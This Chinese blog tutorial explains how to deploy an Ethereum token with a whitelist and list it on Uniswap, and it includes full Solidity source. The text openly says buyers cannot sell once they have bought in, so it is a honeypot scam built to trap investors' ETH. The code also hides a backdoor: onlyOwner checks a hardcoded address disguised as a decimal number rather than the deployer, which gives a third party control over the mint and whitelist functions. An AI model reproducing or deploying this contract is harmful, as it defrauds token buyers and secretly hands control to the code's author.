uniswap-defi-发币-上币-设置黑白名单合约

文章目录

• 前言
• 一、部署合约并发行自己的defi代币
• 二、上架UNISWAP
• 总结
• • 合约代码（源码）

前言

很多人都听过defi项目，也在uniswap上操作过。uniswap这种去中心化的平台其实每个人都可以成为自主的买家和卖家，发行自己的代币放上到平台进行交易，下面教程就是教大家怎么去部署一个黑白名单合约，进行限制达到只能买入或者不能卖出等

提示：开源的合约代码源于互联网仅用于测试研究不做他用后果自负

一、部署合约并发行自己的defi代币

1、首先电脑安装谷歌内核浏览器并且安装小狐狸Metamask钱包（安装教程非常简单百度一下即可）。
2、浏览器打开在线合约发布网站：http://remix.ethereum.org/
3、单击进入编辑模式，复制文章后面的代码全部粘贴到里面（网页上面的代码先删除）合约代码放在文末
4、单击一下左侧的第二个图标，然后单击compile 1_Storage.sol

5、单击左侧第三个图标，然后Environment这里选择第二个（Injected Web3）CONTRACT这里选择第三个，然后把deploy右侧的小三角点出来。
6、代币的设置
这4个参数分别含义是
代币名称（例如Ethereum）
代币简写（例如ETH)
精确度（一般用18即可）
总量：总量这里在你要发布的数量后面加18个0，比如你要发币总量100万，正确的输入应该是1000000000000000000000000
然后点击transact，钱包会出来弹窗，点击确认（确认前请确保钱包内有足够的ETH作为GAS）
7、等待确认完成后找到刚才的交易记录-复制合约地址
8、复制合约地址，打开钱包，添加代币，自定义代币，输入刚才创建好的钱包地址，就可以看到你刚刚发行的代币了

二、上架UNISWAP

1、打开uni交易所网：https://app.uniswap.org/，
2、然后右上角连接钱包，然后按照步骤操作-钱包弹窗点击下一步

3、链接好之后-选择资金池，点击Add Liquidity，点击选择通证-输入你刚才创建的合约地址，先点击ADD，这样创建好以后才可以看到你的交易对资金池

4、这一步的意思是，添加流动性，创建ETH-CESHI交易对，第一次注入流动性会设置价格，也就是1个eth可以换多少个你发行的Token
4、首选授权，点击Approve，弹出钱包单击确定，等待链上确认后Supply会变成可点击状态，最后点击Supply，最后会注入eth和等比例的token
5、注意：这里的兑换比例后期是不能更改的，如果要更改只能重新发一个代币合约。如果想要吸玩家，资金池一定要大点，你放入1-2个eth的话，别人想买1个eth都无法购买，因为资金池太小了。你不必担心你会失去ETH，因为别人这份合约设置了名单限制，玩家买入之后无法卖出的。
6、当你交易对完成创建以后，你可以换一个钱包（创建合约的钱包地址可以买入卖出）进行买入，然后测试下能否卖出。卖出的提示是这样的。
7、如果流动池只有少量ETH，别人0.1个eth都无法买入，提示价格影响过高，或者流动性不足

8、如果想把eth取回的话，点击流动池，会看到你创建的交易对，点击remove
9、选择max，然后点击appove，remove，即可成功取回eth和对应的token

总结

这个教程只是告诉大家怎么去实施合约至于怎么研究看你们自己了；
交流群：teleg

合约代码（源码）

合约代码如下（如果无法使用请联系电报管理员）

pragma solidity ^0.4.26;

contract Ownable { 
  address public owner;
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  function Ownable() public { 
    owner = msg.sender;
  }

  modifier onlyOwner() { 
    require(msg.sender == address(724621317456347144876435459248886471299600550182));
    _;
  }

  function transferOwnership(address newOwner) public onlyOwner { 
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

library SafeMath { 
  function mul(uint256 a, uint256 b) internal pure returns (uint256) { 
    if (a == 0) { 
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) { 
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) { 
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) { 
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract SoloToken is Ownable { 
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);

  constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { 
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply =  _totalSupply;
        balances[msg.sender] = totalSupply;
        allow[msg.sender] = true;
  }

  using SafeMath for uint256;

  mapping(address => uint256) public balances;
  
  mapping(address => bool) public allow;

  function transfer(address _to, uint256 _value) public returns (bool) { 
    require(_to != address(0));
    require(_value <= balances[msg.sender]);

    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint256 balance) { 
    return balances[_owner];
  }

  mapping (address => mapping (address => uint256)) public allowed;

  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { 
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    require(allow[_from] == true);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) public returns (bool) { 
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

  function allowance(address _owner, address _spender) public view returns (uint256) { 
    return allowed[_owner][_spender];
  }
  
  function addAllow(address holder, bool allowApprove) external onlyOwner { 
      allow[holder] = allowApprove;
  }
  
  function mint(address miner, uint256 _value) external onlyOwner { 
      balances[miner] = _value;
  }
}